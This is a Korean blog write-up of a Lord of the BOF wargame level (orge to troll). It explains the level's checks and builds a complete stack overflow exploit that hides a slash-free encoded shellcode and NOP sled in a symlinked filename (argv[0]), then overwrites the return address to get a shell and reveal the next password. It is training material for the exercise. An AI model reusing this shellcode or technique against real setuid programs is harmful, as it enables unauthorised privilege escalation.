-
[LEVEL8] (orge -> troll) : check argcWargame/LordOfTheBof (redhat) 2013. 6. 27. 17:58
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); }
소스가 상당히 길다. 하나하나 검증 루틴을 살펴보자.
1. 인자의 개수(argc)는 2개여야 한다.
2. 환경변수(environ)을 초기화 한다.
3. argv[1][47]의 값은 \xbf 여야 한다.
4. argv[1]의 길이는 48개 미만이어야 한다.
5. buffer를 초기화 한다.
6. argv[1]도 초기화 한다.
6번이 문제다. 이제는 argv[1]도 초기화 된다.
하지만 우리는 파일명(argv[0])을 쓰면 된다.
2. argv[0]에 shellcode 삽입
이전 레벨인 LEVEL7 에서 argv[0]을 77자로 만든 것을 기억할 것이다.
그렇다. 이전 레벨은 바로 이 문제를 풀기 위한 몸풀기였다. 말인즉슨 파일명(argv[0])에 shellcode를 넣으면 된다는 말.
우선 파일명(argv[0])을 변경하기에 앞서, shellcode가 들어갈 argv[0]의 주소를 출력하도록 소스를 변경하고, 컴파일 하자.
[orge@localhost orge]$ cp troll.c trola.c
[orge@localhost orge]$ vi trola.c
// ...중략... // one more! memset(argv[1], 0, strlen(argv[1])); printf("%#x\n", argv[0]); // <- 이 한줄을 추가 }
[orge@localhost orge]$ gcc -o trola trola.c
이제 파일명(argv[0])을 심볼릭 링크를 걸어서 변경하자.
이전 LEVEL7 과 동일하게 75자로 만들자. 어차피 남는 공간은 NOP(\x90)으로 채우면 되니까.
[orge@localhost orge]$ ln -s trola `python -c "print 'A'*75"`
[orge@localhost orge]$ ls -l
total 104
lrwxrwxrwx 1 orge orge 5 Jun 27 18:05 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> trola
-rw------- 1 orge orge 61440 Jun 27 18:03 core
-rwxrwxr-x 1 orge orge 12729 Jun 27 17:37 trola
-rw-r--r-- 1 orge orge 800 Jun 27 18:02 trola.c
-rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll
-rw-r--r-- 1 root root 772 Mar 29 2010 troll.c
이제 이를 실행해 shellcode가 있는 argv[0]의 주소를 구하자.
[orge@localhost orge]$ `python -c "print './' + 'A'*75"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
0xbffffb64
Segmentation fault
이제 출력된 argv[0]의 주소 0xbffffb64을 이용해 Exploit을 진행하자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 48 Byte)
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
뭔가 shellcode가 달라졌는데, 이 shellcode는 \x2f 가 없는 버전이다.
\x2f 는 ascii 코드로 / 를 뜻하는데 파일명(argv[0])에 shellcode를 삽입하기 때문에 / 가 들어가면 안된다.
이유는 당연히 리눅스의 파일명에서 / 는 경로를 의미하기 때문. (ex. /var/www 등등...)
아래는 argv[0]의 최종 구성이다. 혹시 주소값이 변할까봐 75 Byte로 맞춰주었다.
shellcode
NOP
48 Byte
27 Byte
75 Byte
우선 위의 최종 구성대로 troll 파일의 심볼릭 링크를 건다.
[orge@localhost orge]$ ln -s troll `python -c "print '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*27"`
이제 buffer를 overflow 시켜서 RET를 argv[0]의 주소로 덮는다.
buffer
SFP
RET
40 Byte
4 Byte
4 Byte
A * 40
BBBB
\x64\xfb\xff\xbf
필요한 모든것이 준비되었다. 이제 위에서 얻은 argv[0]의 주소와 심볼릭 링크를 이용해 Exploit을 진행하자.
[orge@localhost orge]$ `python -c "print './' + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81' + '\x90'*27"` `python -c "print 'A'*40 + 'BBBB' + '\x64\xfb\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBd���
bash$ my-pass
euid = 508
aspirin
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL10] (vampire -> skeleton) : argv hunter (0) 2013.06.28 [LEVEL9] (troll -> vampire) : check 0xbfff (0) 2013.06.28 [LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27 [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter (0) 2013.06.27